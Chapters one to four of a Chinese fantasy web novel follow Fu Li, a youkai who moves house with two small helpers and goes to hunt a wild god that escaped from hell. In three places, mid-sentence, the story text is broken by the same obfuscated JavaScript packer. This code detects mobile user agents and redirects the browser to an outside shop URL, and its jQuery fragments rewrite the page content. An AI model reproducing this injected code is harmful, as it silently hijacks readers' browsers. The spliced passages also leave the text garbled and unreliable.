《地狱兼职工》 1. 第 1 章 俗话说得好,一场秋雨一场寒。 经历过一场热气蒸腾,宛若火炉般的夏天后,这场秋雨更显得难能可贵,即使雨过天晴温度再次上升,比起之前依旧称得上舒适。 山上植被茂密,刚落的雨珠凝结在叶片之上,微风拂过便一阵晃悠,落在微湿的泥土里。 山下不远处有一座村庄,依靠着一条流经此处的大河,村民们繁衍生息,迁徙而来,从之前不过十几户人家,到如今已有上百户。 只是午后的阳光太过热情,以至于村里路上人烟稀少,大家都待在家里等着躲过这阵最热的时候再出门干活。 在普通人看不见的半山腰,有一座精巧的木质宅院,这座宅院是半个月前忽然出现在这里的,因为设置了结界,一般人看不见,宅子里的人也从不主动出现,便一直相安无事。 而此时,随着时不时拂过的微风,宅院里传出了“叮铃、叮铃”清脆的风铃声,仿佛玉石相击音色极好,然而还没来得及多听几声便戛然而止。 院子里,一个矮墩墩的小家伙正踩着小板凳将挂在窗户边的风铃取了下来,生怕取的时候风铃又响,几乎是裹着风铃拽下来的。 另一边还有一个小家伙帮他按板凳,仰着圆乎乎的脑袋,小小声说话:“这个风铃声音好大哦,会不会把大人吵醒啊?” 板凳上的小家伙一张小圆脸绷得死紧,努力作出沉稳的样子:“现在还没出声就是没吵醒,内室的门关着呢,下次可得记着大人的午睡时间不要挂风铃。” “嗯嗯!阿福你快点下来吧,这个板凳四条腿不一样高不太稳,不要在上面太久,会摔的。” 被叫做阿福的点点头,然后鼓着腮帮子慢慢蹲下,伸出一只手沉稳道:“阿年,扶我一下。” 阿年立刻伸出一只小胳膊,另一只手还不忘扶住板凳。 阿福搭着他的手正要往下跳,头顶忽然传来调笑声:“你们两个小妖怪,还会怕从凳子上摔下来呀?” 阿福阿年听到声音呆呆抬头,看清窗边趴着的人,两人吓得同时后退一步,阿年还好本来就站着,阿福却是一脚踩空,“哎哟”一声摔了个屁股蹲。 靠在窗边的年轻人也愣了一下,似是没想到自己一个小小的玩笑会把他们吓到摔到,回过神立马单手撑着窗框一下从屋里翻出来,三步并作两步将人扶起来。 阿福爬起身,拍拍自己屁股上的泥巴,又原地蹦跶了几下,活力满满。 到底是小妖怪,别说只是从凳子摔下来,就是屋顶那么高也不过洒洒水,刚才只是傻掉了,两个人才会小心翼翼扒着凳子。 扶黎见他们没受伤这才松口气,随即抱歉道:“对不起啊,没想到会吓到你们。” 阿福、阿年连连摆手:“不是大人的错,您只是跟我们说说话而已,是我们胆子太小了才会被吓到。” 两只小妖怪几乎从刚有灵智时便跟在扶黎身边,虽然扶黎从不把他们当做仆人,总说是自己雇佣的他们。 阿福和阿年却有自己的想法,内心里还是将扶黎当做主人看待,但扶黎不喜欢这个称呼,便退而求其次,现在他们只称呼大人。 扶黎无奈地笑笑,伸手摸摸两个小家伙毛绒绒的脑袋,没有试图纠正他们的想法,反正也纠正不过来,之前提过好几次,结果很显然均已失败告终。 阿福忐忑地抬起脑袋,攥着手里的风铃,大眼睛眨巴眨巴问:“大人您怎么醒了,是被这个风铃声吵醒的吗?” “哪能,我今天下午根本就没休息,在里面忙别的呢。”扶黎一句话打消了阿福内心的不安,下意识露出一个甜甜的笑容。 然后一边安心一边苦恼地摸摸手里的风铃,有点不知道是不是该重新挂回去,本来取下来是为了不打扰大人午睡,但现在大人根本没睡着…… 还没想出个所以然,手里的风铃来便被拿走,扶黎仗着自己身高够,直接挂回了窗户上,“叮铃、叮铃”的声音再次响了起来。 这风铃是他最近淘到的好东西,有安神的作用,不仅治失眠有奇效不失眠也能睡得更香,但阿福他们都不知道,只以为这是普通的风铃。 扶黎跟两人解释了一遍,下次就不用摘了。 阿福开开心心点头,像个小陀螺一刻都闲不下来:“大人您要喝茶吗,还有甜点,我们这就去给您准备!” “先等等。”扶黎拦下过于勤快的小妖怪,问出首要问题:“今天有人来找过我吗?” 阿福挠挠头:“人吗?没有哦。” 阿年倒是举手:“只有一只传信纸鹤,那只纸鹤现在就在庭院里的石桌上。” 话未说完,扶黎便转身绕去前院,阿福阿年面面相觑,见大人的身影都看不见了,连忙跟了上去。 麻雀虽小,五脏俱全,这座用来临时落脚的住处虽然不大,但对于三个人来说已经绰绰有余,前院更是被打理得井井有条。 院子的东南角有一汪清透碧亮的小池塘,在这半山腰也不知从哪里引来的活水,正源源不断地从竹筒里流入又从里头流出,池塘上方是用竹条搭的花架,紫藤攀援而上,蝴蝶般的花朵垂直坠落,远看绚烂迷人,唯美梦幻,在这里它们的花期仿佛被无限延长。 池塘周围是一小片草坪,毛茸茸铺了厚厚一层,碧绿青翠没有一丝杂色,看上去就很好躺的样子。 一张圆圆的小石桌被安置在青石板铺就的院前,衬得其上的小纸鹤更加不起眼。 扶黎上前几步托起它,这纸鹤折得还挺精致,一落到扶黎手上便迅速动起来,先是两只小翅膀扇了扇,脑袋上也浮现出两颗黑芝麻大的小眼睛,非常人性化滴溜溜左右转动,声音自纸鹤中传出:“先前之事已有消息,明日老地方见。” 说完这句话纸鹤便好似被瞬间抽离了生气,再次一动不动。 一丝灵力自指间泄出点在纸鹤上,扶黎废物利用,让这只本该被遗弃的小纸鹤带着他的口信折返。 本以为可以休息没想到下一秒就要再次上工,纸鹤不情不愿动了两下,这才晃晃悠悠往外飞去,那东摇西晃的架势仿佛下一秒就会彻底散架。 扶黎:“阿福阿年收拾一下,我们的小屋可能要搬地方了。” “是,主人。”两人脆声应下,便迅速小陀螺一样忙了起来,其实活计也不是很多,到时候整座房子都会被直接挪过去,花草、树木都无碍,包括院子里的土都能原封不动的保持着,在下一次落地时便能迅速和新居所的泥土完美融合,但池塘的水却是确确实实引的这处山里的水,所以在走之前得把水清掉,方便去下一个地方时重新引水。 还有摆在门前用来装饰的花草盆栽,这么深山老林的地方几乎没人会来拜访他们,但阿福还是尽职尽责地摆上了,至少自己看着舒服,而现在就要全部搬回来。 两个小不点为此忙的团团转。 ……………… 夜半时分,这座没有被村人发现的宅院,又在不为人知的时候悄悄消失于树林深处,仿佛从未出现过。 只有曾在这座对山间生灵敞开大门的宅院内觅过食饮过水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128059|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小动物们才会忽然发现,它们这段时间休憩的地方不见了,偶尔能吃到的小零食也没有了,小小的脑袋瓜子让它们实在想不出这里具体发生了什么,但院子虽然没了饮水点却完好地保留了下来,相比起重要的饮水点,偶尔的小零食顿时变得不那么重要起来。 夜深人静之时,扶黎趁夜搬到了千里之外的野梨村。 野梨村——顾名思义因村中种了许多野梨树而得名。 这里几乎家家户户都在门前种了野梨树,既是一份额外的经济收入,自己也能采两个果子丰富一下日常的伙食。 而此时正是挂果的时节,有些熟得早的野梨已从嫩绿转为鲜黄色,空气中弥漫着浓郁的果香,令人口舌生津。 阿福和阿年闻着这味儿终究没能抵挡住诱惑,两小只看着满村的果树舔舔嘴巴,“啪嗒啪嗒”跑进村里买了满满一篮的新鲜野梨。 就这么一篮子还是几家一起凑出来的,实在是这个时候成熟的梨不多,一棵树上最多挑出两三个能吃的。 不过本来就是尝个新鲜,多不多倒是无所谓两个小妖一妖捧个削好的梨,吃得满嘴甜滋滋的汁水,美的眼睛都眯起来了。 阿福:“秋天真好啊,不冷不热,还有好多水果正好熟了,刚才在下边我看见了卖橘子的,要不要去买点?” 阿年啃了一大口梨,嘴里包得鼓鼓囊囊但不影响他说话:“那橘子皮还青着呢,瞅着就酸,味道也不浓郁,我想吃蜜桔不吃那酸不拉几的。” 现在出来,卖的橘子大多都是青皮,其实已经成熟了,但酸味过多甜味太少,只有嗜酸的人才会买,更多的人则会选择再等等,到时大批橘子采摘,不仅味道更甜价格也会更便宜。 阿福摸着下巴认真想了想——虽然他很馋橘子,但买回来要是不能吃的话就没用了。 两人啃完足有自己两个拳头大的梨,才终于想起自己还在睡懒觉的主人。 再一看时间,早上10点整,太阳都快晒屁股了。 阿福急匆匆跑去主人的卧房,边跑边不忘回头吩咐阿年先把热着的早餐端到主屋。 今天天气很好,正符合所谓风和日丽、秋高气爽,选择在这天出来秋游野餐的有钱人家不在少数,但很显然他们的主人对此兴趣缺缺,一直睡到日上三竿被阿福叫醒时还有些不情不愿。 阿福难得强硬一次,进门便直奔窗户“哗”一声拉开厚厚的窗帘,黑暗了许久的房间顿时被刺眼的阳光迅速入侵占领。 尚在睡梦中的扶黎痛苦地皱起眉头,他翻了个身试图用被子蒙住脑袋,黑暗的被窝里充满了安全感,光线都不再是问题。 但下一秒,阿福他不仅拉开了窗帘,还开了窗!如今虽是秋天林中飞鸟却不见减少,阵阵鸟鸣像是闹钟般催得人毫无睡意,扶黎只得无语地坐起身来,睡眼朦胧地打了个哈欠 ,携着秋意的山风自窗外卷入,带来阵阵凉意。 扶黎毫无防备被吹个正着,下意识拢了拢手臂,还没搓两下,阿福便绷着一张小脸拿来外套给他披上。 扶黎撇撇嘴,不是很乐意:“还不如先关上窗户呢,冷到你家大人我了。” 阿福“铁面无私”,面无表情道:“还请您快点起床,换上衣服然后去洗漱,房间要每天通风保持空气流动,所以恕我不能答应您的要求。” 这时候的阿福仿佛吃了“熊心豹子胆”,一点也不怵,眼里只有他的工作——窗边有积灰得拿鸡毛掸子拍一遍,昨天主人换下来的脏衣服也得洗了,地面虽然看着很干净但该擦还得擦。 2. 第 2 章 眼前的小家伙从前转到后,又从后转到前,仿佛被人举着鞭子在后面抽打的陀螺,一刻都停不下来。 扶黎被他晃得眼晕,只好眼不见为净披着衣服先去刷牙洗脸,等他衣服都已经换好了再出来时,阿福却还在辛勤地打扫,那些看起来很干净的地方对于阿福来讲显然还不够。 扶黎赤脚踩在地毯上,厚实绵软的短绒毛踩起来脚感非常舒服,就像是踩在了松软的云朵里,鹅黄的颜色为秋日增添了一丝暖意,因为太喜欢这种感觉,所以房里有一半地方都被铺上了地毯。 不过话说回来舒服也是有代价的,地毯这种东西本来就容易藏污纳垢,再加上这个鹅黄色,一点点脏都能很清楚地看出来,清洗也成了一大难事,院子里的落叶风一卷就能干干净净地卷走,毛毯可卷不干净,每到这时扶黎都深恨没有那种便利的生活类术法,再厉害也不能一挥手就把地毯变干净,最多把洗毛毯的水变热…… 而现在这些工作已经全部被转嫁到阿福跟阿年的身上,能不自己做是很开心啦,但总让他们做这样费力又麻烦的活计,扶黎偶尔也会觉得过意不去,好像变成了黑心的主人在无限压榨仆人一样。 后来他也提过要不要再雇一个临时工时不时给他们搭把手,但被阿福严肃拒绝,并且表示——不喜欢陌生人随便进到家里,而且他们虽然看着个头小但已经成年,少说也是个妖怪,干这点活儿不在话下。 阿福说完,阿年就在后面使劲点头,表示强烈赞同! 那坚定的小模样,不知道的还以为这是什么美差,生怕被别人抢走呢。 扶黎心说不至于不至于,一个佣人有什么好抢着当的。 殊不知当扶黎确实放下找人的想法后,阿福他们当真是松了口气,虽然大人不这么觉得,但对于他们这些小妖怪来讲,只是做些不重的活儿就能换来大人的庇护,还能堂而皇之地踏入人类世界是件非常划算的事。 他们既不像大妖能力强大,也没有出色的幻术能力,要是随便接触人类,运气不好就会被一些不友好的除妖人对付。 因此才会有小妖依附大妖的情况出现,但依附大妖也没那么快活,规矩多的很,若是遇上个不好相处的更是好日子到了头。 阿福很满足于现在的生活,不管是和阿年一起忙忙碌碌,还是闲暇时一起坐在廊沿赏赏花喝喝茶吃吃点心,亦或是跟着主人到处“漂泊”“居无定所”,都非常快乐。 不用担心遇到坏人,还见到了很多以前没有机会接触的新奇的东西,知识阅历也在稳步增长中,难道还有比这更划算的吗? 于是两人暗暗发誓一定要好好工作,扫起地来也格外的认真。 扶黎打着哈欠走出卧室,袭来的热烈阳光再次提醒他——今天睡了个大懒觉。 阿年正好端着餐盘进来,见状连忙一路小跑,然后踩着自己的专属小板凳将手里的东西放到了餐桌上。 今天的早餐很丰盛,光是包子就有三种不同的馅料,还有豆浆和煎鸡蛋,因为扶黎不是那种非常挑剔的人,用他自己的话来说甚至有些味觉粗糙,也不介意吃之前剩下的,所以像包子这类做起来比较麻烦的食物阿年都会一次做上三四天的分量,只要好好保存下一次吃依旧很美味。 简单将头发扎了扎,扶黎在桌边坐下,挑了个素菜馅的包子叼在嘴里,边问:“你们吃了吗?” 阿年轻手轻脚跳下小板凳,圆滚滚的身形就像小团子一样,然后扒着桌沿,只露出一双圆溜溜的大眼睛:“我们早就吃过了,还下山去买了一篮子梨,您爱吃冰糖雪梨吗?我给您炖呀!” 没想到两个小家伙刚到这儿没多久就敢到处跑了,胆子大了不是一星半点,扶黎想着边点点头:“那就拜托你了,晚上我回来吃。” 阿年乖乖应下,又忍不住好奇地问:“您今天要出门吗?” “嗯,有点事要出门处理一下,你们好好看家,如果太晚的话不用等我。” 说这,扶黎披上外套便出了门。 这次他们搬来的地方虽不是深山野林,却也没有直接与村民接触,而是和一些山上的零散住户一般,找了处宽敞的空地安置住房,因此附近也有几处现成的石阶上下山。 山上住的多是从外地过来在此不定期住上一段时间的外乡客,与村里人很是不熟。 于是当村民看到山上又下来一位从未见过的外乡人时,并未觉得惊讶,只是忍不住多看两眼,然后感叹一下山上住的人就是水灵,今天这位不仅水灵还会发光!长得恁叫一个好看! 扶黎慢吞吞走着,注意到路边看过来的视线,下意识戴上帽子,宽大的帽檐遮住半张脸,只露出红润的嘴唇和优美的下颌线条。 走着走着,路边出现了一排排的枫树,火红的树叶像是层叠燃烧的红云,几乎将视野都染成一片鲜红,地上铺了好几层落叶,目之所及难得好风景,以及欣赏这片好风景的人类。 扶黎倚在一棵树下,指尖凝出一朵黄色月季别在衣襟上,很快便有穿着长外套低着头的男人快步走来,在距离扶黎三步远的地方停下,先是狐疑地上下打量他一番,最后视线落到他胸前别的那朵黄月季上,又迅速抬眼,也不问是谁就这么开了口:“客人要的消息已经打听到了。” 扶黎瞄他一眼,边伸手进衣兜掏啊掏,最后掏出来一个收口的小布袋子。 “这是谈好的报酬。”扶黎晃晃钱袋,顿时一阵沙沙响声,里面装满了钱币。 那人伸手接过,谨慎地拆开往里验了一下,这才露出一点笑模样,客气地说道:“虽然消息被瞒得严实,但我们还是从当地人口中打听出来了,三天前确实发生了一件不可思议的事情。” 故意卖关子一样,男人说到这儿停顿了一下,然后瞄了瞄扶黎,可惜对方并没有什么特别的表示,只是面无表情地看着他。 男人遗憾地移开视线,为自己有个不捧场的“观众”而可惜,但拿人钱财替人办事,该说的还是得说:“这件事发生在帝都附近的六时村,六时村本身并没有什么特别之处,从前也跟神神鬼鬼的事沾不上边,相反算得上安静祥和,村中百姓一直将帝都那边的妖鬼事件当做故事来听。” “这次很不巧,事情发生在村子里,起因是几个樵夫结伴一起去山上砍柴,中途一位樵夫说是要去顺便采些草药就跟他们先行分开,傍晚下山大家才发现人迟迟没有回来。村里人等到晚饭时间都过了,人还是没有踪影,觉得不太对,便组织村中的青壮年准备上山寻人,结果刚到山脚就隐约看到有个人从山上下来,村民们以为是那位樵夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128060|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧上前迎接,但是……。” 说到这里男人似乎也觉得不可思议,顿了一下才继续说道:“但到了近前他们才发现下来的是个年轻人,虽然看着有点眼熟却根本不是村里的人,村民们都以为是哪里来的外地人,直到樵夫的老母亲上前看了一眼,很快发现这年轻人和她儿子二十多岁时长得一模一样。” 听到这里,扶黎眉头皱了皱,若有所思:“时光在他身上倒流了,他在山上遇到了什么?” “一个女人。”男人答道:“樵夫说只是隔得远远地见着了,那个女人向他问路,樵夫好心为她指了方向,那女人便一副感激涕零的模样又询问了他的住址,说之后一定会上门感谢。” 除此之外都和往常一样,樵夫仔细想了好半天,并没有遇到其它什么奇怪的事情,连山路都和往常走的是一条。 扶黎再次确认:“光是知道名字,连骗取受害者同意都没有?” 男人耸耸肩表示自己只是个打听消息的,其它一概不知。 他们并不敢随意触碰未知神异事件,搞不好搭上自己的命得不偿失,因此只做些探听消息的外围工作,大概是看扶黎是个大主顾,便附赠了一点其它的小道消息:“听说帝都的教会也在查这件事,大概是想找到樵夫‘返老还童’的秘密,大人物都怕死的很,谁知道他们真正的目的是什么呢。” 扶黎对此不置可否,教会虽然插手此事,却并不是傻子,返老还童如此无异于操纵时间之事简直天方夜谭,便是神明也难办,他们怎么会真的相信。 拿到自己想要的消息,扶黎便挥挥手跟对方告别,然后顺着原来的方向又走了回去。 一阵秋风刮过,吹起他鬓边垂落的长发,露出一双犹带深思的紫色眼瞳。 其实这次扶黎也是受人所托,忠人之事,在地狱里他有位朋友在那里工作,前些时候地狱因管理不慎逃出来一只恶鬼,虽然早早就在筛查中发现了,奈何有能力的狱卒都抽不出身来,因此只能找外援,找着找着就找到了他身上。 正巧扶黎最近闲得慌,见友人头疼不已便答应下来,也有了理由光明正大地去小世界旅游,不过答应是答应了,难办的是要怎么找到这只恶鬼的藏身之处。 据鬼灯所说那只出逃的恶鬼曾作为野神被供奉,鼎盛时期附近几个村的人都信奉他,因此也颇有一番本领,但随着神明世的代落幕,依靠信仰的野神信徒迅速流失,如今能力已是十不存一,不甘心的恶鬼为此做出了许多有违天理的事,最后的结果很明显,就是被发现此事的鬼灯追捕并投入狱中。 如今对方千方百计逃出来,又东躲西藏甚至逃入了小世界,如此计划缜密,若说对方只是想找个地方躲起来好逃过牢狱之灾实在说不过去。 现世气息繁杂、妖鬼众多,反而是掩盖行踪的绝佳去处,随便找个人多的地界猫上一年两年,等地狱那边放松了再出来,小心些说不定躲几十年都不定能被发现。 但对方反其道而行之,偏偏进了没多大点的小世界,还运气不好被地狱发现了,就算这样对方也没舍得换个地方。 如果说其中没有鬼,怕是有脑子的都不会信。 而等到了这个小世界后,扶黎才确定了对方的真正目的——这是想要卷土重来,重新翻身啊。 3. 第 3 章 现世如今已是信仰荒漠,唯有正神还维持着基本的信徒,但这些信徒也不全是真正在信仰他们,更像是当做一种心理安慰剂,又或者仅仅是在维持文化传承。 正神不在乎的东西对于野神来说却是求之不得,为此他们有的在不甘中消散,有的千方百计寻求继续存活下去的方法。 这位名叫“雨笠”野神显然是病急乱投医,行事都开始毫无章法起来,进入小世界没几天便暴露了自己的行踪,虽然这其中也有没料到地狱能这么快找到人手的原因,但他也同时小瞧了原世界的人。 六时村距离野梨村距离并特别不远,扶黎辨认了一下方向,决定从山间穿过去,那样速度更快。 树木高大掩映着灿烂的日光,偶尔落下的细碎斑点,像是满地星子,林间有轻盈的身影掠过,仿佛轻灵的鸟,又似无形的风,只一瞬便消失不见,让人不由怀疑起方才瞥见的那一瞬是不是自己的错觉。 这只轻灵的鸟很快落在山间一颗巨木的树梢上,四周寂静地如同一潭死水。 扶黎掀开帽子四下看了看,本该一片欣欣向荣的深山此时却仿佛陷入了沉睡一般,没有一点活物的迹象,脚下的这棵大树本是许多鸟类筑巢的地方,如今却只剩下被丢弃的空巢,从状态来看,巢的鸟主人们应该还没走几天,鸟巢看起来还很完好,扶黎甚至看到了几颗尚未腐烂,只有些干瘪的果子落在巢里。 这里一定是发生了什么,才会让这些鸟在深秋快来临时,还舍弃掉自己辛苦建好的巢。 心下微动间,扶黎已经给自己套好了结界,虽然不知道暗中是否有敌人窥伺,但一切还是小心为上的好。 做完这一切,扶黎歪头想了想,开始在口袋里掏了起来,那个大口袋也不知道装了多少东西,看着瘪瘪的也没装什么的样子,但扶黎掏了老半天才找着自己要找的玩意儿。 他摊开掌心,其上正安然卧着一只叠的非常粗糙的纸鹤,小小的尖脑袋光秃秃,连个眼睛都没有。 这两只眼睛是要现点的,扶黎举着纸鹤拿着笔,小心翼翼在它还没豌豆大的尖脑袋上点了两个点儿,点完一看还不对称,一个上一个下,活似个“歪眼王八”。 扶黎“啧”了一声,小眼神不由自主露出那么点儿嫌弃,这绝对不是他手艺不精,只是刚才手抖了一下,还没调整过来笔就点上去了。 现在想再改已经来不及,眼睛刚点上去,纸鹤便活了过来,两只芝麻大的眼珠子“咕噜咕噜”不协调地转了两圈,开始呼啦呼啦拍翅膀,别看个头小,扇起来却还挺有力气,转眼间便从扶黎手心飞了起来。 瞧不见自己现在这份尊容,小纸鹤看起来满意极了,芝麻眼转得飞快,拍拍翅膀绕扶黎转了两圈后,又停在了他面前,像是在等候命令。 扶黎抿着唇,指尖掠过前方:“去,探一探这座森林里发生了什么。” 纸鹤悬停在半空,似乎反应了一会儿,数秒后才拍着翅膀调头快速飞走。 随后扶黎如法炮制,又唤醒几只纸鹤让它们分头去找,这些纸鹤虽然没什么大用处,还很容易损坏,但胜在体型小巧不容易发现,是做斥候的一把好手。 做起来也不费什么力气,扶黎常常备上许多,需要的时候就摸一只出来。 在原地等了大概半个小时的时间,终于有一只飞回来,扶黎抬起胳膊让它落在臂上。 顺利降落,小纸鹤开始缓慢划拉翅膀,小脑袋也一点一点的,仿佛在说话,扶黎认真听着时不时点点头:“噢噢,这样啊……” 正听着,山岭间忽然有风吹过,掀起青年的长发,差点掀翻了小纸鹤,扶黎拿手挡了挡,背过身去。 这只纸鹤可能是运气好,飞出去没多久便顺利找到了目标,悄咪咪探了一会儿后,为数不多的灵智让它决定立刻原路返回。 小纸鹤的报告显得短而精简,很快便像断电般垂下翅膀一动不动,扶黎顺手将它塞回口袋,重新靠回树边慢悠悠等着。 又等了一会儿,剩下的纸鹤也都回来了,大部分都无功而返,只有一只好运地带回了有用的消息。 这些纸鹤全是一次性的,一次点灵便已经到达极限,它们本身的材料也经受不住下一次点灵,但秉承着好歹为他办了事,没有功劳也有苦劳的想法,扶黎都会好好地将它们带回去然后在院子里埋起来。 山风越来越大,然而除了这似乎很不对劲的风,四周依旧没有其它任何声响,万籁俱寂。 扶黎一跃而起,身周泛起淡淡的蓝色光点,决定先去风刮起的方向探看一番,正巧方才其中一只纸鹤传回的消息里,有一个异常点便在那个方向。 越往里去,风的阻力越大。 扶黎身轻如燕,直直向里飞去,丝毫没受到风阻的影响,甚至速度有隐隐加快的迹象。 大概过了半分钟的样子,风渐渐小了下来,扶黎也到了风圈的正中地带。 落到地上后再抬头向上看才发现,并不是风变小了,而是这人为制造的旋风也和台风一般有着“眼”存在,越是靠近中间地带风越小,到了正中地带更是风平浪静,给人造成一种风已经停了的错觉。 然而这个风圈毕竟是人为的所以非常的小,小到只要抬头便能发现端倪,无风的只有这一小块方寸之地,之外的地方风依旧刮得猛烈,树梢不受控制剧烈摇摆,仿佛下一秒就要折断。 扶黎大略扫过一圈便收回视线,转过身再次看向身前的木质建筑,看到这扶黎才终于明白对方真正的用意。 眼前赫然是一座破败的神社,失去主人的神社依稀能看出旧日繁盛——高大的鸟居,五人都无法合抱的神木,占地着实不小的社殿……种种情况都足以说明曾经鼎盛时期它是多么的壮观和热闹,但不知何种原因渐渐被人遗忘,或许是它的神明离开了,又或者神明遭遇不测,一座神社失去了的主人便会落得如此下场。 高耸的鸟居之上红色颜料早已脱落,不复从前的鲜艳亮丽,神木上一圈白色御币也开始腐朽,徒留殿宇还算完好,只是殿前的空地上也覆满了落叶,蛛网遍布,显得分外荒凉。 看着是荒废了有几年的样子,但底子还在,有那么几分壮丽的样子。 扶黎先前见过的几个小神居所,大小还没这儿的十分之一,可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128061|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想见当年这里的主人是如何强大,虔诚的信徒往来如织,耗费颇多才能修建起如此规模的大型建筑。 只是神社荒废,长久失去神力与人气的滋养便容易被妖物野神盘踞,之前是不是也曾经被本地的妖鬼 占领过不得而知,但现在这里已经确确实实成了外来者的地盘。 离开地狱前,那位鬼灯给过他一缕野神的气息,虽然没办法靠这一缕气息搜寻到对方的具体位置,但拿来辨别身份却是轻而易举。 隔着还有一段距离,扶黎便嗅到了那股难闻的土腥味儿,还有一股令人不适的水汽感,在正神那里可以感受的清正之气,在这里完全相反只会让人心生厌恶。 扶黎抬袖掩鼻,忍着嫌弃之情又往前走了几步,一脚踏上神社范围内,路边的草丛里忽然传出“扑簌簌”的声音,仿佛有小动物在钻来钻去。 扶黎一时停下,垂眸看向声音传来的地方。 那小东西似乎很不擅长躲藏,“悉悉索索”捣鼓了大半天,最后连自己尾巴露出来了都不知道。 毛茸茸的黄色大尾巴支楞在外头,时不时随着身体的动作颤巍巍两下,细软的绒毛在微风中柔顺地倒向一侧,光是看着就知道手感极好。 而这条毛乎乎的大尾巴显然还不知道自己已经暴露,自顾自埋头苦干,大尾巴忽隐忽现,简直跟个信号灯一样,不仅没有藏起来,反而越发地引人注目。 扶黎额角抽了抽,脚尖一转便换了个方向,朝着草丛走过去,并未特地压住脚步声,脚踩在落叶上,干枯的叶子发出支离破碎的声音,催命符一般。 似乎意识到危险的临近,刚刚还在到处扒拉的“大尾巴”猛然停下动作,僵在原地,还不知道自己已然被发现,只以为是“敌人”经过,它屏住呼吸寄希望自己的藏匿足够隐蔽。 可惜天不遂人愿,脚步声逐渐接近,像是催命符一般,很快在草从前止住,这下想安慰自己没被发现也不成了,更别提尾巴上忽然传来的抚摸触感。 根根毛发猝然竖起,草丛里的东西原地炸起了毛,一瞬间脚下发力便要蹿出去。 电光火石间扶黎掐住那尾巴,跟拔萝卜似的把那东西直接薅了出来。 手里的小东西痛叫一声,发出“哼哼吱吱”的声音,听着像是老太太哭,怪难听的。 扶黎一只手捂着耳朵,眉头嫌弃地挑高,手里一只不过手臂长的黄毛狐狸正在拼命挣扎。 狐狸不常叫还是有原因的,这声音确实不怎么好听,要是经常来几嗓子,森林里其它动物可能会嫌弃它“扰民”。 扶黎不胜其扰,不甚温柔的抡着它转了几圈,直把对方转的头晕眼花,想叫都叫不出来,两只眼睛里都是圈圈。 “怎么样,现在可以安静下来乖乖听我说话了吗?”扶黎语气温温柔柔,一点看不出来刚才竟对着一只弱小可爱的狐狸,做出了如此粗暴的举动。 狐狸小黄昏头昏脑倒挂在半空,缓了一会儿才觉得好受了些,这会儿听见这句话,心里委屈得不行——我说不可以的话有用吗? 于是,憋憋屈屈地点了点脑袋,可以吧。 4. 第 4 章 谅它也不敢逃走,扶黎一松手,小狐狸在空中灵巧地翻了个身,四只爪爪落地,大尾巴在身后晃了晃,然后温顺地环在了身周。 刚刚没来得及看抓住自己是什么人,一抬头顿时觉得没那么害怕了,面前的青年一头扎起的长发,眉眼柔和,眼瞳深邃,幽紫的眼眸仿佛星子一般,是一副不可多得的好长相。 此时它选择性遗忘了自己一分钟前还被一通抡,面前这个人一点都不温柔。 小狐狸非常不好意思地低头,舔了舔自己身上的碎草屑,细声细气道:“你要问什么呀?” 扶黎直截了当:“最近这座山里有来了一位野神吗?” 小狐狸懵懵懂懂地抬头,满脸迷茫——什么野神? 它的年纪还很小,机缘巧合成精后也没有长辈带全靠自己摸索,认识的小妖精大多和他一样,天天光顾着找吃的和玩闹,知道的东西实在是少,和它说野神,小狐狸直接两眼一抹黑。 “哎呀,你不知道呀。”扶黎平时在家逗惯了小妖,这会儿倒也不觉得不耐烦,想了想换了个说法:“那有没有一个浑身水腥味儿的奇怪的东西来过?” 话音刚落,面前的小狐狸忽然害怕地收紧了尾巴,战战兢兢道:“你、你问这个干什么?” 扶黎敏锐地察觉到一丝异常,他眯了眯眼不动声色道:“问这个当然是有事,怎么,你知道?” 小狐狸不安地耳朵紧贴脑后:“劝你还是不要打探消息的比较好,这里进来容易出去难,能出去的话赶紧趁早走。” 说着它紧张地站了起来,四只爪爪局促地来回踩地,两只耳朵机警地前后动了动,似乎想立刻藏进灌木丛里。 哦~,看来这小东西确实知道些有用的,自己没找错方向,扶黎蹲下身撸了撸它的背毛,尽力安抚它的情绪:“放心我进来不是送死,自然有办法安全脱身,如果你提供的消息有用,出去的时候我可以顺带着捎上你。” “真的吗?!”这句话比什么都有效果,小狐狸一下子就忘记了之前的害怕,它兴奋地抖抖的耳朵,一脸希冀:“只要我告诉你这里发生了什么,你就带我出去?” 扶黎摸摸它的脑袋,神色笃定道:“当然,君子一言,驷马难追。” 什么四马五马的,小黄一脑袋问号,但听不懂没关系,至少它知道自己有出去的希望了。 故作矜持地仰了仰头,叫了一下,小狐狸讲起了这几天发生的事。 